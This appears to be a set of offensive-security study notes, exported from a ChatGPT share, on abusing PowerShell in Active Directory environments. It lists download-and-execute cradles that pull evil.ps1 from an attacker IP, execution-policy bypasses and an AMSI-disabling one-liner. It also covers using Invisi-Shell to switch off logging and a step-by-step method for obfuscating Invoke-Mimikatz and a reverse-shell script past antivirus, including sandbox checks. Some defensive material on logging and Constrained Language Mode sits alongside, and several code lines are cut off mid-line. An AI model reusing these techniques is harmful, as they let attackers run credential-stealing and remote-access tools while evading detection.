


Powershell

ChatGPT - Introduction to PowerShell

Shared via ChatGPT

 <https://chatgpt.com/share/67630578-5018-8001-aafe-34a4e2ed48a1>

ChatGPT 



Refer to PowerShell Notes !!



[PowerShell](#)

▼ PowerShell Introduction

1. Provides access to almost everything in a Windows platform and Active Directory Environment which could be useful for an attacker.
2. Provides the capability of running powerful scripts completely from memory making it ideal for foothold shells/boxes.
3. Easy to learn and really powerful.
4. Based on .NET framework and is tightly integrated with Windows.
5. PowerShell is NOT powershell.exe. It is the System.Management.Automation.dll
6. We will use Windows PowerShell. There is a platform independent PowerShell Core as well.

▼ PowerShell Scripts and Modules

- Load a PowerShell script using dot sourcing

```
C:\AD\Tools\PowerView.ps1
```

- A module (or a script) can be imported with:

```
Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1
```

- All the commands in a module can be listed with:

```
Get-Command -Module <module name>
```

▼ PowerShell Script Execution

```
iex (New-Object Net.WebClient).DownloadString('https://webser
```

```
$ie=New-Object -ComObject  
InternetExplorer.Application;$ie.visible=$False;$ie.navigate(
```

```
PSv3 onwards - iex (iwr 'http://192.168.230.1/evil.ps1')9
```

```
$h=New-Object -ComObject  
Msxml2.XMLHTTP;$h.open('GET','http://192.168.230.1/evil.ps1',  
$h.responseText
```

```
$wr = [System.NET.WebRequest]::Create("http://192.168.230.1/e  
$r = $wr.GetResponse()  
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadTo
```

Common Execution Policies

Policy	Description
Restricted	Default policy. No scripts are allowed to run.
RemoteSigned	Only locally created scripts can run without being signed.
AllSigned	All scripts must be signed by a trusted publisher.
Unrestricted	All scripts can run; warnings appear for scripts from the internet.
Bypass	No restrictions; intended for automation scenarios.

▼ Powershell and AD

1. ADSI (Active Directory Service Interfaces)

- **Overview:**

ADSI is a set of COM interfaces used for managing Active Directory and other directory services.

It enables PowerShell scripts to access and modify AD objects without the Active Directory module.

- **Key Features:**

- Lightweight and does not require additional modules.
- Uses `[ADSI]` type accelerator in PowerShell.

- **Example:**

Retrieve a user object:

```
$user = [ADSI]"LDAP://CN=John Doe,OU=IT,DC=example,DC=com"  
$user.DisplayName
```

2. .NET Classes for AD

- **Overview:**

PowerShell leverages .NET Framework classes for AD operations, providing low-level access.

- **Commonly Used Classes:**

- `System.DirectoryServices.DirectoryEntry` : Interacts with AD objects.
- `System.DirectoryServices.DirectorySearcher` : Searches AD for objects.

- **Example:**

Search for a user:

```
$searcher = New-Object DirectoryServices.DirectorySearcher  
$searcher.Filter = "(sAMAccountName=john.doe)"  
$searcher.FindOne()
```

3. System.DirectoryServices.ActiveDirectory

- **Overview:**

A .NET namespace specifically for managing AD environments.

It provides advanced methods for tasks like finding domain controllers and managing trusts.

- **Key Features:**

- Works directly with forest, domain, and schema objects.
- Requires .NET Framework.

- **Example:**

Retrieve the current domain:

```
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
```

4. Native Executable

- **Overview:**

PowerShell can invoke native Windows executables for AD tasks, such as `dsquery`, `dsadd`, and `dsmod`.

- **Examples:**

- Find a user:

```
dsquery user -name "John Doe"
```

- Add a user:

```
dsadd user "CN=John Doe,OU=IT,DC=example,DC=com" -password P@ssword123
```

5. WMI Using PowerShell

- **Overview:**

Windows Management Instrumentation (WMI) provides a standard for managing data and operations on Windows systems, including AD objects.

- **Cmdlets for WMI:**

- `Get-WmiObject` (legacy) or `Get-CimInstance` (modern alternative).

- **Example:**

Retrieve AD domain information:

```
Get-WmiObject -Namespace "root\MicrosoftActiveDirectory"
-Class DS_Domain
```

6. ActiveDirectory Module

- **Overview:**

A dedicated PowerShell module for managing Active Directory, included with RSAT (Remote Server Administration Tools).

Provides high-level cmdlets for common AD tasks.

- **Common Cmdlets:**

- `Get-ADUser` : Retrieve user objects.
- `New-ADUser` : Create new users.
- `Get-ADGroup` : Retrieve group objects.
- `Add-ADGroupMember` : Add users to a group.

- **Example:**

Create a new user:

```
New-ADUser -Name "John Doe" -SamAccountName "john.doe" `
           -UserPrincipalName "john.doe@example.com" -Pa
           th "OU=IT,DC=example,DC=com" `
```

```
-AccountPassword (ConvertTo-SecureString "P@s  
sword123" -AsPlainText -Force) `  
-Enabled $true
```

Summary Table

Technique/Feature	Purpose	Requires
ADSI	Direct COM-based AD management.	No additional modules.
.NET Classes	Low-level AD operations using .NET.	PowerShell with .NET.
System.DirectoryServices	Manage forests, domains, and trusts.	.NET Framework.
Native Executable	Use built-in Windows AD tools (e.g., <code>dsquery</code>).	Native tools like <code>dsadd</code> .
WMI Using PowerShell	Query AD domain info via WMI.	WMI/CIM support.
ActiveDirectory Module	High-level cmdlets for AD management.	RSAT or AD PowerShell module.

▼ PowerShell Detections

PowerShell includes robust detection and logging mechanisms to enhance system security and monitor for suspicious or malicious activity. These mechanisms are vital for detecting PowerShell abuse by attackers during exploitation, privilege escalation, or lateral movement.

1. System-Wide Transcription

- **Overview:**

Enables logging of all PowerShell activity, including input and output, in text-based transcript files.

- **Key Features:**

- Records the commands run in all PowerShell sessions.
- Logs include metadata such as session start time, username, and machine name.
- Useful for auditing and investigating malicious activity.

- **Setup:**

Enable transcription via Group Policy or manually in PowerShell:

```
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" `
    -Name EnableTranscripting -Value 1
```

- **Output:**

Transcripts are saved in the directory specified by the policy, typically

```
%ProgramData%\Microsoft\Windows\PowerShell\Transcripts .
```

2. Script Block Logging

- **Overview:**

Logs the contents of all PowerShell script blocks (chunks of executable code) that are executed.

- **Key Features:**

- Captures both normal and obfuscated commands.
- Logs include de-obfuscated code for easy analysis.
- Helps detect malicious scripts and techniques like encoded commands.

- **Setup:**

Enable via Group Policy or manually:

```
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" `
    -Name EnableScriptBlockLogging -Value 1
```

- **Output:**

Logs are written to the Windows Event Log under:

- Applications and Services Logs > Microsoft > Windows > PowerShell > Operational .
-

3. AntiMalware Scan Interface (AMSI)

- **Overview:**
A Windows API that allows PowerShell scripts and commands to be scanned by antivirus software before execution.
 - **Key Features:**
 - Detects and blocks malicious commands or scripts.
 - Scans both static scripts and dynamic content (e.g., in-memory execution).
 - Works even when scripts are obfuscated.
 - **Example:**
If a script contains malicious behavior, AMSI sends the content to an antivirus for analysis and blocks execution if flagged.
 - **Bypassing:**
Attackers often try to bypass AMSI using encoded payloads or patching techniques, but AMSI-aware tools can mitigate such attempts.
-

4. Constrained Language Mode (CLM)

- **Overview:**
Restricts PowerShell to a limited subset of functionality, blocking potentially dangerous features like COM objects and .NET classes.
- **Key Features:**
 - Limits access to non-default cmdlets, APIs, and scripting features.
 - Prevents exploitation techniques like invoking unmanaged code.
 - Often enforced in environments using **AppLocker** or **Windows Defender Application Control (WDAC)**.
- **Integrated with AppLocker:**
 - AppLocker can enforce CLM for PowerShell scripts based on execution policies.
 - Block unauthorized scripts while allowing trusted ones.
- **Integrated with WDAC (Device Guard):**
 - WDAC policies can enforce CLM, ensuring only signed and approved scripts execute.

- Protects against script-based malware and living-off-the-land attacks.
- **Check Mode:**
Determine if CLM is active:

```
$ExecutionContext.SessionState.LanguageMode
```

Summary Table

Detection Mechanism	Purpose	Logs/Effects
System-Wide Transcription	Captures all PowerShell commands and outputs for auditing.	Transcripts saved to a specified directory, recording session metadata and command output.
Script Block Logging	Logs full content of executed script blocks, including de-obfuscated code.	Entries in Windows Event Logs (PowerShell Operational).
AMSI (AntiMalware Scan Interface)	Scans PowerShell scripts and commands for malware before execution.	Blocks or allows based on antivirus evaluation.
Constrained Language Mode (CLM)	Restricts PowerShell functionality to block unsafe operations.	Prevents execution of restricted features like COM objects or custom .NET assemblies.

Use Cases for Detection

1. Incident Response:

- Use logs from transcription and script block logging to trace attacker activities.
- Analyze AMSI detections for attempted obfuscation or exploitation.

2. Threat Hunting:

- Search for unusual patterns in **PowerShell Operational** logs.
- Look for attempts to bypass CLM or AMSI in high-security environments.

3. Compliance:

- Maintain an audit trail of all PowerShell activity for regulatory purposes.

▼ Execution Policy

Execution Policy in PowerShell determines the conditions under which scripts and configuration files can run. It acts as a basic security feature to prevent unintended or unauthorized script execution but is not a complete security control.

Types of Execution Policies

Policy	Description
Restricted	Default policy. No scripts are allowed to run, but interactive commands are permitted.
AllSigned	Only scripts signed by a trusted publisher can run. Prompts for confirmation before running scripts.
RemoteSigned	Locally created scripts can run without being signed. Remote scripts must be signed.
Unrestricted	All scripts can run. Prompts before running scripts downloaded from the internet.
Bypass	No restrictions; intended for automation scenarios.
Undefined	No execution policy is set. PowerShell defaults to "Restricted."

Bypassing PowerShell Execution Policy

While the execution policy is a useful feature, it is not a security boundary and can be bypassed relatively easily. Below are methods to bypass execution policies for scenarios like running scripts in restricted environments or avoiding permanent policy changes.

1. Temporary Bypass via Command Line

You can bypass the execution policy for a single script execution by using the `-ExecutionPolicy Bypass` parameter:

```
powershell.exe -ExecutionPolicy Bypass -File "C:\Scripts\YourScript.ps1"
```

- **Use Case:** Allows running a script without modifying the system or user-wide execution policy.

- **Limitations:** Only affects the current execution and does not persist after the session ends.

2. Using `iex` to Invoke Code

The `Invoke-Expression` (`iex`) cmdlet allows you to run a script stored in a variable or downloaded directly:

```
# Example: Running a script as a string
$script = Get-Content "C:\Scripts\YourScript.ps1"
iex $script
```

- **Use Case:** Avoids saving a script to disk and can execute inline scripts.
- **Security Risks:** Can execute malicious code if the content is untrusted.

3. Bypass Using Encoded Commands

PowerShell scripts can be encoded into Base64 and executed using the `-EncodedCommand` parameter:

1. Encode the script:

```
$command = "Write-Output 'Execution Policy Bypassed!'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```

2. Execute the encoded command:

```
powershell.exe -EncodedCommand $encodedCommand
```

- **Use Case:** Useful for obfuscation and bypassing certain policy checks.
- **Limitation:** Still requires `powershell.exe` access.

4. Executing Scripts via `Invoke-Command`

You can use `Invoke-Command` to execute scripts on the local or remote machine without directly running the script file:

```
Invoke-Command -ScriptBlock { Write-Output "Bypassed Execution Policy!" }
```

- **Use Case:** Executes code in memory, avoiding direct interaction with the execution policy.

5. Loading the Script into Memory

Instead of running a script from disk, load and execute it directly in memory:

```
$content = Get-Content "C:\Scripts\YourScript.ps1" -Raw  
Invoke-Expression $content
```

- **Use Case:** Avoids reliance on execution policy as the script is not explicitly executed from a file.

6. Rename or Change File Extension

Change the `.ps1` file extension to `.txt` or any other extension and load its content into PowerShell:

```
$content = Get-Content "C:\Scripts\YourScript.txt"  
Invoke-Expression $content
```

- **Use Case:** Bypasses basic policy restrictions related to `.ps1` files.

7. Using Alternate Hosts

PowerShell scripts can be run through alternate hosts like **MSBuild**, **RunDLL32**, or **C# executables**. These methods bypass traditional execution policy enforcement.

Example: MSBuild Execution

Embed PowerShell commands within an XML file for execution:

```
<Target Name="PSBypass">
  <Exec Command="powershell.exe -ExecutionPolicy Bypass -Co
mmand 'Write-Output Bypassed!'" />
</Target>
```

Run using:

```
msbuild.exe Script.xml
```

8. Using .NET to Execute PowerShell

PowerShell scripts can be executed via the .NET `System.Management.Automation` namespace:

```
using System.Management.Automation;
PowerShell ps = PowerShell.Create();
ps.AddScript("Write-Output 'Policy Bypassed!'");
ps.Invoke();
```

- **Use Case:** Executes PowerShell directly from a compiled .NET application.

9. Exploiting AMSI and CLM

- **Bypass AMSI:** Patch the AMSI in-memory signature checks to run malicious or restricted scripts.

Example (using obfuscated inline C#):

```
[Ref].Assembly.GetType("System.Management.Automation.Amsi
iUtils").GetField("amsiInitFailed","NonPublic,Static").S
etValue($null,$true)
```

- **Bypass Constrained Language Mode (CLM):** Use methods like exploiting `MSBuild`, executing signed binaries that call PowerShell, or using `DLL` injection.

▼ Bypassing Powershell Security

Invisi-Shell is a tool used to bypass various PowerShell security controls such as Script Block Logging, AMSI, and Execution Policies. It achieves this by hooking into critical .NET assemblies, such as `System.Management.Automation.dll` and `System.Core.dll`, to prevent security mechanisms from logging or blocking PowerShell scripts. The tool uses the **CLR Profiler API**, a mechanism that allows the interception and modification of .NET code at runtime.

How Invisi-Shell Works

1. CLR Profiler API:

A CLR (Common Language Runtime) profiler is a dynamic link library (DLL) that interacts with the CLR, which is the runtime environment for executing .NET applications. The profiler allows the interception of various messages sent to and received by the CLR, enabling code manipulation at runtime. Invisi-Shell uses this API to hook into PowerShell's runtime process, bypassing logging and other security features.

2. DLL Hooking:

Invisi-Shell hooks into specific .NET assemblies, particularly:

- **System.Management.Automation.dll:** This assembly contains the core components of PowerShell.
- **System.Core.dll:** This contains essential .NET functions that PowerShell interacts with.

By hooking these assemblies, Invisi-Shell can modify the behavior of PowerShell, disabling security features like Script Block Logging and AMSI, allowing the execution of obfuscated or malicious scripts without detection.

Using Invisi-Shell

Invisi-Shell provides two methods for use depending on whether you have administrative privileges or not:

1. With Admin Privileges

To run Invisi-Shell with administrative privileges, use the provided batch script:

```
RunWithPathAsAdmin.bat
```

This script will start a new PowerShell session with the hooks applied, allowing bypasses of logging and other security controls.

2. With Non-Admin Privileges

If you're operating in an environment without administrative privileges, you can use the following batch script to apply the hook through the registry:

```
RunWithRegistryNonAdmin.bat
```

This script will perform necessary registry modifications to allow the tool to hook into PowerShell without requiring admin access.

Cleanup and Exit

Once you're done using Invisi-Shell and want to clean up the environment, simply type `exit` from the new PowerShell session to close it. This will ensure that the hooks are removed and that your session is returned to a normal state.

Security Implications

1. Bypassing Security Features:

Invisi-Shell bypasses key security features like Script Block Logging and AMSI, which are integral for monitoring PowerShell activity. This can make it harder for defenders to detect malicious activity.

2. Execution Policy:

By disabling or bypassing these security mechanisms, the tool allows the execution of scripts that would otherwise be blocked by stricter execution policies.

3. Advanced Persistent Threats (APT):

Tools like Invisi-Shell are useful for attackers attempting to maintain a foothold in a network without being detected, especially when used in conjunction with other post-exploitation techniques like persistence mechanisms and WMI.

Defenses Against Invisi-Shell

1. Application Control:

Use **AppLocker** or **WDAC (Windows Defender Application Control)** to restrict the execution of unauthorized executables, including batch scripts and PowerShell itself.

2. PowerShell Constrained Language Mode (CLM):

Enforce **Constrained Language Mode** to limit PowerShell's functionality in a protected environment. This mode restricts the ability to load .NET assemblies and use certain PowerShell cmdlets.

3. Enhanced AMSI Integration:

Ensure that AMSI is integrated with your anti-malware solution and configured to scan all PowerShell scripts, including those executed by malicious tools like Invisi-Shell.

4. Monitoring and Logging:

Even if Script Block Logging can be bypassed, enabling **Windows Event Forwarding (WEF)** and **Sysmon** to monitor PowerShell activity can provide visibility into suspicious actions.

5. Behavioral Analysis:

Look for abnormal PowerShell behaviors such as execution from non-standard paths, high memory usage, or unusual command patterns, which may indicate the use of tools like Invisi-Shell.

Conclusion

Invisi-Shell is a potent tool for bypassing PowerShell's security features, making it valuable for attackers attempting to evade detection and execute malicious scripts. Organizations must employ layered security controls like AppLocker, AMSI, and PowerShell Constrained Language Mode to mitigate such threats and prevent unauthorized script execution. Regular monitoring and auditing of PowerShell usage are crucial for detecting and responding to attempts to bypass these protections.

▼ Bypassing AV Signatures for Powershell

When dealing with PowerShell scripts, attackers may need to bypass security mechanisms like Windows Defender (AV) signature-based detection. Here's how different tools and

techniques can be used to bypass such detections, focusing on AMSI, signature-based detection, and obfuscation:

Tools and Techniques for Bypassing AV Signatures

1. AMSITrigger (AMSITrigger)

- **Purpose:** AMSITrigger helps identify the exact part of a PowerShell script that is detected by AMSI (Antimalware Scan Interface).
- **Usage:** Scan a script to determine which part triggers AMSI detection.

```
AmsiTrigger_x64.exe -i C:\path\to\script.ps1
```

- After scanning, modify the detected code and rescan until detection is cleared.

2. DefenderCheck (DefenderCheck)

- **Purpose:** DefenderCheck helps identify which parts of a file or binary may be flagged by Windows Defender.
- **Usage:** Scan a script or file to see if it will be detected by Defender.

```
DefenderCheck.exe C:\path\to\script.ps1
```

3. Invoke-Obfuscation (Invoke-Obfuscation)

- **Purpose:** This tool obfuscates PowerShell scripts to avoid detection by AV/AMSI.
 - **Usage:** Obfuscates scripts, including AMSI bypass techniques, for cleaner execution.
-

Steps to Avoid Signature-Based Detection

1. Scan the Script with AMSITrigger:

Run AMSITrigger on the PowerShell script to find the detection points.

2. Modify the Detected Code:

Once you identify the part of the script that gets detected, modify or obfuscate it.

3. Rescan with AMSITrigger:

Rescan the modified script. Repeat the modification and scanning process until the detection is cleared (AMSI_RESULT_NOT_DETECTED or blank result).

Example: Modifying PowerShell Scripts to Avoid Detection

1. PowerUp Example (PowerShell Script)

- **Original Script:**

The script may contain strings like `"System.AppDomain"`.

- **Modification:**

Reverse the string to obfuscate it:

```
$String = 'niamoDppA.metsyS'
$classrev = ([regex]::Matches($String, '.', 'RightToLeft') | ForEach {$_ .value}) -join ''
$AppDomain = [Reflection.Assembly]::Assembly.GetType("$classrev").GetProperty('CurrentDomain').GetValue($null, @())
```

- **Scan with AMSITrigger:**

Re-scan the modified script to check if the detection persists.

2. Invoke-PowerShellTcp Example (PowerShell Script)

- **Original Script:**

The script may contain `"Net.Sockets"`.

- **Modification:**

Reverse the string:

```
$String = "stekcoS.teN"
$class = ([regex]::Matches($String, '.', 'RightToLeft') | ForEach {$_ .value}) -join ''
if ($Reverse) {
    $client = New-Object System.$class.TCPClient($IPAdress
```

```
s, $Port)
}
```

- **Scan with AMSITrigger:**

Re-scan the modified script until detection is bypassed.

Bypassing AV Detection for Invoke-Mimikatz

1. Rename and Modify Script:

Invoke-Mimikatz is heavily detected by AV software. It's necessary to:

- Rename the script and function names.
- Modify variable names, particularly for Win32 API calls like `"VirtualProtect"`, `"WriteProcessMemory"`, and `"CreateRemoteThread"`.

2. Obfuscate PEBytes Content:

Convert PowerKatz DLL into base64, reverse the string, and then execute it to avoid static detections.

3. Implement Sandbox Checks:

Add checks to avoid dynamic analysis by identifying sandbox environments (e.g., VMware or VirtualBox).

```
$FilePathsToCheck = 'C:\windows\System32\Drivers\Vmmouse.sys', 'C:\windows\System32\Drivers\vm3dgl.dll'
# Other paths for sandbox detection...
```

4. Obfuscate Command Execution:

Break up commands into obfuscated variables:

```
$j = "yS"
$i = "E"
$h = "k"
$g = "E"
$f = "::"
```

```
$e = "a"  
$d = "lS"  
$c = "r"  
$b = "EKu"  
$a = "s"  
$Pwn = $a + $b + $c + $d + $e + $f + $g + $h + $i + $j  
Invoke-Mimi -Command $Pwn
```

5. DefenderCheck:

After modifying the script, use DefenderCheck to ensure that the obfuscated version remains undetected:

```
DefenderCheck.exe C:\path\to\Invoke-Mimi.ps1
```

Final Outcome

Once the obfuscation, string reversals, sandbox checks, and other modifications are applied, the scripts such as `Invoke-Mimi.ps1` and `Invoke-MimiEx.ps1` should bypass detection by both static (signature-based) and dynamic (AMSI, Defender) checks.

Conclusion

By combining tools like **AMSITrigger**, **DefenderCheck**, **Invoke-Obfuscation**, and manual obfuscation techniques, attackers can effectively bypass signature-based detection of PowerShell scripts. These techniques are critical for evading AV software, allowing malicious scripts to execute without triggering alarms. However, defenders can counter these tactics with advanced monitoring, sandboxing, and behavioral analysis to detect and mitigate these bypasses.